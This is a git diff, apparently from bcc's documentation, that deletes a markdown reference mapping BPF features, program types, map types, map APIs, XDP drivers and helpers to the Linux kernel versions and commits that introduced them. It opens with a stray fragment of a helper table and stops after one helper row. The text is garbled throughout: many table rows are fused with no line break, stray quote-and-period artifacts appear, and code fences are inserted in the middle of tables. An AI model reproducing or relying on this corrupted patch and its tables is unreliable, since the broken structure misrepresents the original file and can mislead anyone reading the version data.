`BPF_FUNC_probe_read_user_str()`
`BPF_FUNC_send_signal_thread()`
`BPF_FUNC_get_ns_current_pid_tgid()`
`BPF_FUNC_xdp_output()`
`BPF_FUNC_get_task_stack()`| -|`LWT函数`| `BPF_FUNC_skb_load_bytes()`
`BPF_FUNC_skb_pull_data()`
`BPF_FUNC_csum_diff()`
`BPF_FUNC_get_cgroup_classid()`
`BPF_FUNC_get_route_realm()`
`BPF_FUNC_get_hash_recalc()`
`BPF_FUNC_perf_event_output()`
`BPF_FUNC_get_smp_processor_id()`
`BPF_FUNC_skb_under_cgroup()`| diff --git a/src/bcc-documents/kernel-versions_en.md b/src/bcc-documents/kernel-versions_en.md deleted file mode 100644 index d2691c63..00000000 --- a/src/bcc-documents/kernel-versions_en.md +++ /dev/null @@ -1,495 +0,0 @@ -# BPF Features by Linux Kernel Version - -## eBPF support - -Kernel version | Commit ----------------|------- -3.15 | [`bd4cf0ed331a`](https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8) - -## JIT compiling - -The list of supported architectures for your kernel can be retrieved with: -```sh -git grep HAVE_EBPF_JIT arch/ -``` - -Feature / Architecture | Kernel version | Commit ------------------------|----------------|------- -x86\_64 | 3.16 | [`622582786c9e`](https://github.com/torvalds/linux/commit/622582786c9e041d0bd52bde201787adeab249f8) -ARM64 | 3.18 | [`e54bcde3d69d`](https://github.com/torvalds/linux/commit/e54bcde3d69d40023ae77727213d14f920eb264a) -s390 | 4.1 | [`054623105728`](https://github.com/torvalds/linux/commit/054623105728b06852f077299e2bf1bf3d5f2b0b) -Constant blinding for JIT machines | 4.7 | [`4f3446bb809f`](https://github.com/torvalds/linux/commit/4f3446bb809f20ad56cadf712e6006815ae7a8f9) -PowerPC64 | 4.8 | [`156d0e290e96`](https://github.com/torvalds/linux/commit/156d0e290e969caba25f1851c52417c14d141b24) -Constant blinding - PowerPC64 | 4.9 | [`b7b7013cac55`](https://github.com/torvalds/linux/commit/b7b7013cac55d794940bd9cb7b7c55c9dececac4) -Sparc64 | 4.12 | [`7a12b5031c6b`](https://github.com/torvalds/linux/commit/7a12b5031c6b947cc13918237ae652b536243b76) -MIPS | 4.13 | [`f381bf6d82f0`](https://github.com/torvalds/linux/commit/f381bf6d82f032b7410185b35d000ea370ac706b) -ARM32 | 4.14 | [`39c13c204bb1`](https://github.com/torvalds/linux/commit/39c13c204bb1150d401e27d41a9d8b332be47c49) -x86\_32 | 4.18 | [`03f5781be2c7`](https://github.com/torvalds/linux/commit/03f5781be2c7b7e728d724ac70ba10799cc710d7) -RISC-V RV64G | 5.1 | [`2353ecc6f91f`](https://github.com/torvalds/linux/commit/2353ecc6f91fd15b893fa01bf85a1c7a823ee4f2)RISC-V RV32G | 5.7 | [`5f316b65e99f`](https://github.com/torvalds/linux/commit/5f316b65e99f109942c556dc8790abd4c75bcb34) -PowerPC32 | 5.13 | [`51c66ad849a7`](https://github.com/torvalds/linux/commit/51c66ad849a703d9bbfd7704c941827aed0fd9fd) -LoongArch | 6.1 | [`5dc615520c4d`](https://github.com/torvalds/linux/commit/5dc615520c4dfb358245680f1904bad61116648e) - -## Main features - -Several (but not all) of these *main features* translate to an eBPF program type. -The list of such program types supported in your kernel can be found in file -[`include/uapi/linux/bpf.h`](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h): -```sh -git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h -``` - -Feature | Kernel version | Commit ---------|----------------|------- -`AF_PACKET` (libpcap/tcpdump, `cls_bpf` classifier, netfilter's `xt_bpf`, team driver's load-balancing mode…) | 3.15 | [`bd4cf0ed331a`](https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8) -Kernel helpers | 3.15 | [`bd4cf0ed331a`](https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8) -`bpf()` syscall | 3.18 | [`99c55f7d47c0`](https://github.com/torvalds/linux/commit/99c55f7d47c0dc6fc64729f37bf435abf43f4c60) -Maps (_a.k.a._ Tables; details below) | 3.18 | [`99c55f7d47c0`](https://github.com/torvalds/linux/commit/99c55f7d47c0dc6fc64729f37bf435abf43f4c60) -BPF attached to sockets | 3.19 | [`89aa075832b0`](https://github.com/torvalds/linux/commit/89aa075832b0da4402acebd698d0411dcc82d03e) -BPF attached to `kprobes` | 4.1 | [`2541517c32be`](https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5) -`cls_bpf` / `act_bpf` for `tc` | 4.1 | [`e2e9b6541dd4`](https://github.com/torvalds/linux/commit/e2e9b6541dd4b31848079da80fe2253daaafb549) -Tail calls | 4.2 | [`04fd61ab36ec`](https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb)Non-root programs on sockets | 4.4 | [`1be7f75d1668`](https://github.com/torvalds/linux/commit/1be7f75d1668d6296b80bf35dcf6762393530afc) -Persistent maps and programs (virtual FS) | 4.4 | [`b2197755b263`](https://github.com/torvalds/linux/commit/b2197755b2633e164a439682fb05a9b5ea48f706) -`tc`'s `direct-action` (`da`) mode | 4.4 | [`045efa82ff56`](https://github.com/torvalds/linux/commit/045efa82ff563cd4e656ca1c2e354fa5bf6bbda4) -`tc`'s `clsact` qdisc | 4.5 | [`1f211a1b929c`](https://github.com/torvalds/linux/commit/1f211a1b929c804100e138c5d3d656992cfd5622) -BPF attached to tracepoints | 4.7 | [`98b5c2c65c29`](https://github.com/torvalds/linux/commit/98b5c2c65c2951772a8fc661f50d675e450e8bce) -Direct packet access | 4.7 | [`969bf05eb3ce`](https://github.com/torvalds/linux/commit/969bf05eb3cedd5a8d4b7c346a85c2ede87a6d6d) -XDP (see below) | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -BPF attached to perf events | 4.9 | [`0515e5999a46`](https://github.com/torvalds/linux/commit/0515e5999a466dfe6e1924f460da599bb6821487) -Hardware offload for `tc`'s `cls_bpf` | 4.9 | [`332ae8e2f6ec`](https://github.com/torvalds/linux/commit/332ae8e2f6ecda5e50c5c62ed62894963e3a83f5) -Verifier exposure and internal hooks | 4.9 | [`13a27dfc6697`](https://github.com/torvalds/linux/commit/13a27dfc669724564aafa2699976ee756029fed2) -BPF attached to cgroups for socket filtering | 4.10 | [`0e33661de493`](https://github.com/torvalds/linux/commit/0e33661de493db325435d565a4a722120ae4cbf3) -Lightweight tunnel encapsulation | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) -**e**BPF support for `xt_bpf` module (iptables) | 4.10 | [`2c16d6033264`](https://github.com/torvalds/linux/commit/2c16d60332643e90d4fa244f4a706c454b8c7569) -BPF program tag | 4.10 | [`7bd509e311f4`](https://github.com/torvalds/linux/commit/7bd509e311f408f7a5132fcdde2069af65fa05ae)Tracepoints to debug BPF | 4.11 (removed in 4.18) | [`a67edbf4fb6d`](https://github.com/torvalds/linux/commit/a67edbf4fb6deadcfe57a04a134abed4a5ba3bb5) [`4d220ed0f814`](https://github.com/torvalds/linux/commit/4d220ed0f8140c478ab7b0a14d96821da639b646) -Testing / benchmarking BPF programs | 4.12 | [`1cf1cae963c2`](https://github.com/torvalds/linux/commit/1cf1cae963c2e6032aebe1637e995bc2f5d330f4) -BPF programs and maps IDs | 4.13 | [`dc4bb0e23561`](https://github.com/torvalds/linux/commit/dc4bb0e2356149aee4cdae061936f3bbdd45595c) -BPF support for `sock_ops` | 4.13 | [`40304b2a1567`](https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0) -BPF support for skbs on sockets | 4.14 | [`b005fd189cec`](https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79) -bpftool utility in kernel sources | 4.15 | [`71bb428fe2c1`](https://github.com/torvalds/linux/commit/71bb428fe2c19512ac671d5ee16ef3e73e1b49a8) -BPF attached to cgroups as device controller | 4.15 | [`ebc614f68736`](https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92) -bpf2bpf function calls | 4.16 | [`cc8b0b92a169`](https://github.com/torvalds/linux/commit/cc8b0b92a1699bc32f7fec71daa2bfc90de43a4d) -BPF used for monitoring socket RX/TX data | 4.17 | [`4f738adba30a`](https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0) -BPF attached to raw tracepoints | 4.17 | [`c4f6699dfcb8`](https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9) -BPF attached to `bind()` system call | 4.17 | [`4fbac77d2d09`](https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427) [`aac3fc320d94`](https://github.com/torvalds/linux/commit/aac3fc320d9404f2665a8b1249dc3170d5fa3caf) -BPF attached to `connect()` system call | 4.17 | [`d74bad4e74ee`](https://github.com/torvalds/linux/commit/d74bad4e74ee373787a9ae24197c17b7cdc428d5)BPF Type Format (BTF) | 4.18 | [`69b693f0aefa`](https://github.com/torvalds/linux/commit/69b693f0aefa0ed521e8bd02260523b5ae446ad7) -AF_XDP | 4.18 | [`fbfc504a24f5`](https://github.com/torvalds/linux/commit/fbfc504a24f53f7ebe128ab55cb5dba634f4ece8) -bpfilter | 4.18 | [`d2ba09c17a06`](https://github.com/torvalds/linux/commit/d2ba09c17a0647f899d6c20a11bab9e6d3382f07) -End.BPF action for seg6local LWT | 4.18 | [`004d4b274e2a`](https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44) -BPF attached to LIRC devices | 4.18 | [`f4364dcfc86d`](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) -Pass map values to map helpers | 4.18 | [`d71962f3e627`](https://github.com/torvalds/linux/commit/d71962f3e627b5941804036755c844fabfb65ff5) -BPF socket reuseport | 4.19 | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) -BPF flow dissector | 4.20 | [`d58e468b1112`](https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9) -BPF 1M insn limit | 5.2 | [`c04c0d2b968a`](https://github.com/torvalds/linux/commit/c04c0d2b968ac45d6ef020316808ef6c82325a82) -BPF cgroup sysctl | 5.2 | [`7b146cebe30c`](https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637) -BPF raw tracepoint writable | 5.2 | [`9df1c28bb752`](https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0) -BPF bounded loop | 5.3 | [`2589726d12a1`](https://github.com/torvalds/linux/commit/2589726d12a1b12eaaa93c7f1ea64287e383c7a5) -BPF trampoline | 5.5 | [`fec56f5890d9`](https://github.com/torvalds/linux/commit/fec56f5890d93fc2ed74166c397dc186b1c25951) -BPF LSM hook | 5.7 | [`fc611f47f218`](https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58) [`641cd7b06c91`](https://github.com/torvalds/linux/commit/641cd7b06c911c5935c34f24850ea18690649917) -BPF iterator | 5.8 | [`180139dca8b3`](https://github.com/torvalds/linux/commit/180139dca8b38c858027b8360ee10064fdb2fbf7)BPF socket lookup hook | 5.9 | [`e9ddbb7707ff`](https://github.com/torvalds/linux/commit/e9ddbb7707ff5891616240026062b8c1e29864ca) -Sleepable BPF programs | 5.10 | [`1e6c62a88215`](https://github.com/torvalds/linux/commit/1e6c62a8821557720a9b2ea9617359b264f2f67c) - -### Program types - -Program type | Kernel version | Commit | Enum --------------|----------------|--------|----- -Socket filter | 3.19 | [`ddd872bc3098`](https://github.com/torvalds/linux/commit/ddd872bc3098f9d9abe1680a6b2013e59e3337f7) | BPF_PROG_TYPE_SOCKET_FILTER -Kprobe | 4.1 | [`2541517c32be`](https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5) | BPF_PROG_TYPE_KPROBE -traffic control (TC) | 4.1 | [`96be4325f443`](https://github.com/torvalds/linux/commit/96be4325f443dbbfeb37d2a157675ac0736531a1) | BPF_PROG_TYPE_SCHED_CLS -traffic control (TC) | 4.1 | [`94caee8c312d`](https://github.com/torvalds/linux/commit/94caee8c312d96522bcdae88791aaa9ebcd5f22c) | BPF_PROG_TYPE_SCHED_ACT -Tracepoint | 4.7 | [`98b5c2c65c29`](https://github.com/torvalds/linux/commit/98b5c2c65c2951772a8fc661f50d675e450e8bce) | BPF_PROG_TYPE_TRACEPOINT -XDP | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) | BPF_PROG_TYPE_XDP -Perf event | 4.9 | [`0515e5999a46`](https://github.com/torvalds/linux/commit/0515e5999a466dfe6e1924f460da599bb6821487) | BPF_PROG_TYPE_PERF_EVENT -cgroup socket filtering | 4.10 | [`0e33661de493`](https://github.com/torvalds/linux/commit/0e33661de493db325435d565a4a722120ae4cbf3) | BPF_PROG_TYPE_CGROUP_SKB -cgroup sock modification | 4.10 | [`610236587600`](https://github.com/torvalds/linux/commit/61023658760032e97869b07d54be9681d2529e77) | BPF_PROG_TYPE_CGROUP_SOCK -lightweight tunnel (IN) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_IN".lightweight tunnel (OUT) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_OUT -lightweight tunnel (XMIT) | 4.10 | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) | BPF_PROG_TYPE_LWT_XMIT -cgroup sock ops (per conn) | 4.13 | [`40304b2a1567`](https://github.com/torvalds/linux/commit/40304b2a1567fecc321f640ee4239556dd0f3ee0) | BPF_PROG_TYPE_SOCK_OPS -stream parser / stream verdict | 4.14 | [`b005fd189cec`](https://github.com/torvalds/linux/commit/b005fd189cec9407b700599e1e80e0552446ee79) | BPF_PROG_TYPE_SK_SKB -cgroup device manager | 4.15 | [`ebc614f68736`](https://github.com/torvalds/linux/commit/ebc614f687369f9df99828572b1d85a7c2de3d92) | BPF_PROG_TYPE_CGROUP_DEVICE -socket msg verdict | 4.17 | [`4f738adba30a`](https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0) | BPF_PROG_TYPE_SK_MSG -Raw tracepoint | 4.17 | [`c4f6699dfcb8`](https://github.com/torvalds/linux/commit/c4f6699dfcb8558d138fe838f741b2c10f416cf9) | BPF_PROG_TYPE_RAW_TRACEPOINT -socket binding | 4.17 | [`4fbac77d2d09`](https://github.com/torvalds/linux/commit/4fbac77d2d092b475dda9eea66da674369665427) | BPF_PROG_TYPE_CGROUP_SOCK_ADDR -LWT seg6local | 4.18 | [`004d4b274e2a`](https://github.com/torvalds/linux/commit/004d4b274e2a1a895a0e5dc66158b90a7d463d44) | BPF_PROG_TYPE_LWT_SEG6LOCAL -lirc devices | 4.18 | [`f4364dcfc86d`](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) | BPF_PROG_TYPE_LIRC_MODE2 -lookup SO_REUSEPORT socket | 4.19 | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) | BPF_PROG_TYPE_SK_REUSEPORT -flow dissector | 4.20 | [`d58e468b1112`](https://github.com/torvalds/linux/commit/d58e468b1112dcd1d5193c0a89ff9f98b5a3e8b9) | BPF_PROG_TYPE_FLOW_DISSECTOR.```markdown -cgroup sysctl | 5.2 | [`7b146cebe30c`](https://github.com/torvalds/linux/commit/7b146cebe30cb481b0f70d85779da938da818637) | BPF_PROG_TYPE_CGROUP_SYSCTL -writable raw tracepoints | 5.2 | [`9df1c28bb752`](https://github.com/torvalds/linux/commit/9df1c28bb75217b244257152ab7d788bb2a386d0) | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE -cgroup getsockopt/setsockopt | 5.3 | [`0d01da6afc54`](https://github.com/torvalds/linux/commit/0d01da6afc5402f60325c5da31b22f7d56689b49) | BPF_PROG_TYPE_CGROUP_SOCKOPT -Tracing (BTF/BPF trampoline) | 5.5 | [`f1b9509c2fb0`](https://github.com/torvalds/linux/commit/f1b9509c2fb0ef4db8d22dac9aef8e856a5d81f6) | BPF_PROG_TYPE_TRACING -struct ops | 5.6 | [`27ae7997a661`](https://github.com/torvalds/linux/commit/27ae7997a66174cb8afd6a75b3989f5e0c1b9e5a) | BPF_PROG_TYPE_STRUCT_OPS -extensions | 5.6 | [`be8704ff07d2`](https://github.com/torvalds/linux/commit/be8704ff07d2374bcc5c675526f95e70c6459683) | BPF_PROG_TYPE_EXT -LSM | 5.7 | [`fc611f47f218`](https://github.com/torvalds/linux/commit/fc611f47f2188ade2b48ff6902d5cce8baac0c58) | BPF_PROG_TYPE_LSM -lookup listening socket | 5.9 | [`e9ddbb7707ff`](https://github.com/torvalds/linux/commit/e9ddbb7707ff5891616240026062b8c1e29864ca) | BPF_PROG_TYPE_SK_LOOKUP -Allow executing syscalls | 5.15 | [`79a7f8bdb159`](https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8) | BPF_PROG_TYPE_SYSCALL - -## Maps (_a.k.a._ Tables, in BCC lingo) - -### Map types - -The list of map types supported in your kernel can be found in file -[`include/uapi/linux/bpf.h`](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h): -```sh -git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h -``` - - Map type | Kernel version | Commit | Enum -----------|----------------|--------|------ -Hash | 3.19 | [`0f8e4bd8a1fc`](https://github.com/torvalds/linux/commit/0f8e4bd8a1fc8c4185f1630061d0a1f2d197a475) | BPF_MAP_TYPE_HASH". -```Array | 3.19 | [`28fbcfa08d8e`](https://github.com/torvalds/linux/commit/28fbcfa08d8ed7c5a50d41a0433aad222835e8e3) | BPF_MAP_TYPE_ARRAY -Prog array | 4.2 | [`04fd61ab36ec`](https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb) | BPF_MAP_TYPE_PROG_ARRAY -Perf events | 4.3 | [`ea317b267e9d`](https://github.com/torvalds/linux/commit/ea317b267e9d03a8241893aa176fba7661d07579) | BPF_MAP_TYPE_PERF_EVENT_ARRAY -Per-CPU hash | 4.6 | [`824bd0ce6c7c`](https://github.com/torvalds/linux/commit/824bd0ce6c7c43a9e1e210abf124958e54d88342) | BPF_MAP_TYPE_PERCPU_HASH -Per-CPU array | 4.6 | [`a10423b87a7e`](https://github.com/torvalds/linux/commit/a10423b87a7eae75da79ce80a8d9475047a674ee) | BPF_MAP_TYPE_PERCPU_ARRAY -Stack trace | 4.6 | [`d5a3b1f69186`](https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19) | BPF_MAP_TYPE_STACK_TRACE -cgroup array | 4.8 | [`4ed8ec521ed5`](https://github.com/torvalds/linux/commit/4ed8ec521ed57c4e207ad464ca0388776de74d4b) | BPF_MAP_TYPE_CGROUP_ARRAY -LRU hash | 4.10 | [`29ba732acbee`](https://github.com/torvalds/linux/commit/29ba732acbeece1e34c68483d1ec1f3720fa1bb3) [`3a08c2fd7634`](https://github.com/torvalds/linux/commit/3a08c2fd763450a927d1130de078d6f9e74944fb) | BPF_MAP_TYPE_LRU_HASH -LRU per-CPU hash | 4.10 | [`8f8449384ec3`](https://github.com/torvalds/linux/commit/8f8449384ec364ba2a654f11f94e754e4ff719e0) [`961578b63474`](https://github.com/torvalds/linux/commit/961578b63474d13ad0e2f615fcc2901c5197dda6) | BPF_MAP_TYPE_LRU_PERCPU_HASH -LPM trie (longest-prefix match) | 4.11 | [`b95a5c4db09b`](https://github.com/torvalds/linux/commit/b95a5c4db09bc7c253636cb84dc9b12c577fd5a0) | BPF_MAP_TYPE_LPM_TRIE -Array of maps | 4.12 | [`56f668dfe00d`](https://github.com/torvalds/linux/commit/56f668dfe00dcf086734f1c42ea999398fad6572) | BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps | 4.12 | [bcc6b1b7ebf8](https://github.com/torvalds/linux/commit/bcc6b1b7ebf857a9fe56202e2be3361131588c15) | BPF_MAP_TYPE_HASH_OF_MAPS -Netdevice references (array) | 4.14 | [546ac1ffb70d](https://github.com/torvalds/linux/commit/546ac1ffb70d25b56c1126940e5ec639c4dd7413) | BPF_MAP_TYPE_DEVMAP -Socket references (array) | 4.14 | [174a79ff9515](https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6) | BPF_MAP_TYPE_SOCKMAP -CPU references | 4.15 | [6710e1126934](https://github.com/torvalds/linux/commit/6710e1126934d8b4372b4d2f9ae1646cd3f151bf) | BPF_MAP_TYPE_CPUMAP -AF_XDP socket (XSK) references | 4.18 | [fbfc504a24f5](https://github.com/torvalds/linux/commit/fbfc504a24f53f7ebe128ab55cb5dba634f4ece8) | BPF_MAP_TYPE_XSKMAP -Socket references (hashmap) | 4.18 | [81110384441a](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) | BPF_MAP_TYPE_SOCKHASH -cgroup storage | 4.19 | [de9cbbaadba5](https://github.com/torvalds/linux/commit/de9cbbaadba5adf88a19e46df61f7054000838f6) | BPF_MAP_TYPE_CGROUP_STORAGE -reuseport sockarray | 4.19 | [5dc4c4b7d4e8](https://github.com/torvalds/linux/commit/5dc4c4b7d4e8115e7cde96a030f98cb3ab2e458c) | BPF_MAP_TYPE_REUSEPORT_SOCKARRAY -precpu cgroup storage | 4.20 | [b741f1630346](https://github.com/torvalds/linux/commit/b741f1630346defcbc8cc60f1a2bdae8b3b0036f) | BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE -queue | 4.20 | [f1a2e44a3aec](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) | BPF_MAP_TYPE_QUEUE -stack | 4.20 | [f1a2e44a3aec](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) | BPF_MAP_TYPE_STACK -socket local storage | 5.2 | [6ac99e8f23d4](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) | BPF_MAP_TYPE_SK_STORAGE".Netdevice references (hashmap) | 5.4 | [`6f9d451ab1a3`](https://github.com/torvalds/linux/commit/6f9d451ab1a33728adb72d7ff66a7b374d665176) | BPF_MAP_TYPE_DEVMAP_HASH -struct ops | 5.6 | [`85d33df357b6`](https://github.com/torvalds/linux/commit/85d33df357b634649ddbe0a20fd2d0fc5732c3cb) | BPF_MAP_TYPE_STRUCT_OPS -ring buffer | 5.8 | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) | BPF_MAP_TYPE_RINGBUF -inode storage | 5.10 | [`8ea636848aca`](https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6) | BPF_MAP_TYPE_INODE_STORAGE -task storage | 5.11 | [`4cf1bc1f1045`](https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919) | BPF_MAP_TYPE_TASK_STORAGE -Bloom filter | 5.16 | [`9330986c0300`](https://github.com/torvalds/linux/commit/9330986c03006ab1d33d243b7cfe598a7a3c1baa) | BPF_MAP_TYPE_BLOOM_FILTER -user ringbuf | 6.1 | [`583c1f420173`](https://github.com/torvalds/linux/commit/583c1f420173f7d84413a1a1fbf5109d798b4faa) | BPF_MAP_TYPE_USER_RINGBUF - -### Map userspace API - -Some (but not all) of these *API features* translate to a subcommand beginning with `BPF_MAP_`. -The list of subcommands supported in your kernel can be found in file -[`include/uapi/linux/bpf.h`](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h): -```sh -git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h -``` - -Feature | Kernel version | Commit ---------|----------------|------- -Basic operations (lookup, update, delete, `GET_NEXT_KEY`) | 3.18 | [`db20fd2b0108`](https://github.com/torvalds/linux/commit/db20fd2b01087bdfbe30bce314a198eefedcc42e) -Pass flags to `UPDATE_ELEM` | 3.19 | [`3274f52073d8`](https://github.com/torvalds/linux/commit/3274f52073d88b62f3c5ace82ae9d48546232e72) -Pre-alloc map memory by default | 4.6 | [`6c9059817432`](https://github.com/torvalds/linux/commit/6c90598174322b8888029e40dd84a4eb01f56afe)Pass `NULL` to `GET_NEXT_KEY` | 4.12 | [`8fe45924387b`](https://github.com/torvalds/linux/commit/8fe45924387be6b5c1be59a7eb330790c61d5d10) -Creation: select NUMA node | 4.14 | [`96eabe7a40aa`](https://github.com/torvalds/linux/commit/96eabe7a40aa17e613cf3db2c742ee8b1fc764d0) -Restrict access from syscall side | 4.15 | [`6e71b04a8224`](https://github.com/torvalds/linux/commit/6e71b04a82248ccf13a94b85cbc674a9fefe53f5) -Creation: specify map name | 4.15 | [`ad5b177bd73f`](https://github.com/torvalds/linux/commit/ad5b177bd73f5107d97c36f56395c4281fb6f089) -`LOOKUP_AND_DELETE_ELEM` | 4.20 | [`bd513cd08f10`](https://github.com/torvalds/linux/commit/bd513cd08f10cbe28856f99ae951e86e86803861) -Creation: `BPF_F_ZERO_SEED` | 5.0 | [`96b3b6c9091d`](https://github.com/torvalds/linux/commit/96b3b6c9091d23289721350e32c63cc8749686be) -`BPF_F_LOCK` flag for lookup / update | 5.1 | [`96049f3afd50`](https://github.com/torvalds/linux/commit/96049f3afd50fe8db69fa0068cdca822e747b1e4) -Restrict access from BPF side | 5.2 | [`591fe9888d78`](https://github.com/torvalds/linux/commit/591fe9888d7809d9ee5c828020b6c6ae27c37229) -`FREEZE` | 5.2 | [`87df15de441b`](https://github.com/torvalds/linux/commit/87df15de441bd4add7876ef584da8cabdd9a042a) -mmap() support for array maps | 5.5 | [`fc9702273e2e`](https://github.com/torvalds/linux/commit/fc9702273e2edb90400a34b3be76f7b08fa3344b) -`LOOKUP_BATCH` | 5.6 | [`cb4d03ab499d`](https://github.com/torvalds/linux/commit/cb4d03ab499d4c040f4ab6fd4389d2b49f42b5a5) -`UPDATE_BATCH`, `DELETE_BATCH` | 5.6 | [`aa2e93b8e58e`](https://github.com/torvalds/linux/commit/aa2e93b8e58e18442edfb2427446732415bc215e) -`LOOKUP_AND_DELETE_BATCH` | 5.6 | [`057996380a42`](https://github.com/torvalds/linux/commit/057996380a42bb64ccc04383cfa9c0ace4ea11f0) -`LOOKUP_AND_DELETE_ELEM` support for hash maps | 5.14 | [`3e87f192b405`](https://github.com/torvalds/linux/commit/3e87f192b405960c0fe83e0925bd0dadf4f8cf43) - -## XDP - -An approximate list of drivers or components supporting XDP programs for your -kernel can be retrieved with: - -```sh -git grep -l XDP_SETUP_PROG drivers/ -``` - -Feature / Driver | Kernel version | Commit ------------------|----------------|------- -XDP core architecture | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -Action: drop | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -Action: pass on to stack | 4.8 | [`6a773a15a1e8`](https://github.com/torvalds/linux/commit/6a773a15a1e8874e5eccd2f29190c31085912c95) -Action: direct forwarding (on same port) | 4.8 | [`6ce96ca348a9`](https://github.com/torvalds/linux/commit/6ce96ca348a9e949f8c43f4d3e98db367d93cffd) -Direct packet data write | 4.8 | [`4acf6c0b84c9`](https://github.com/torvalds/linux/commit/4acf6c0b84c91243c705303cd9ff16421914150d) -Mellanox `mlx4` driver | 4.8 | [`47a38e155037`](https://github.com/torvalds/linux/commit/47a38e155037f417c5740e24ccae6482aedf4b68) -Mellanox `mlx5` driver | 4.9 | [`86994156c736`](https://github.com/torvalds/linux/commit/86994156c736978d113e7927455d4eeeb2128b9f) -Netronome `nfp` driver | 4.10 | [`ecd63a0217d5`](https://github.com/torvalds/linux/commit/ecd63a0217d5f1e8a92f7516f5586d1177b95de2) -QLogic (Cavium) `qed*` drivers | 4.10 | [`496e05170958`](https://github.com/torvalds/linux/commit/496e051709588f832d7a6a420f44f8642b308a87) -`virtio_net` driver | 4.10 | [`f600b6905015`](https://github.com/torvalds/linux/commit/f600b690501550b94e83e07295d9c8b9c4c39f4e) -Broadcom `bnxt_en` driver | 4.11 | [`c6d30e8391b8`](https://github.com/torvalds/linux/commit/c6d30e8391b85e00eb544e6cf047ee0160ee9938) -Intel `ixgbe*` drivers | 4.12 | [`924708081629`](https://github.com/torvalds/linux/commit/9247080816297de4e31abb684939c0e53e3a8a67) -Cavium `thunderx` driver | 4.12 | [`05c773f52b96`](https://github.com/torvalds/linux/commit/05c773f52b96ef3fbc7d9bfa21caadc6247ef7a8) -Generic XDP | 4.12 | [`b5cdae3291f7`](https://github.com/torvalds/linux/commit/b5cdae3291f7be7a34e75affe4c0ec1f7f328b64)".# Helpers - -The list of helpers supported in your kernel can be found in file."[`include/uapi/linux/bpf.h`](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h): - -```sh -git grep ' FN(' include/uapi/linux/bpf.h -``` - -Alphabetical order - -Helper | Kernel version | License | Commit | --------|----------------|---------|--------| -`BPF_FUNC_bind()` | 4.17 | | [`d74bad4e74ee`](https://github.com/torvalds/linux/commit/d74bad4e74ee373787a9ae24197c17b7cdc428d5) | 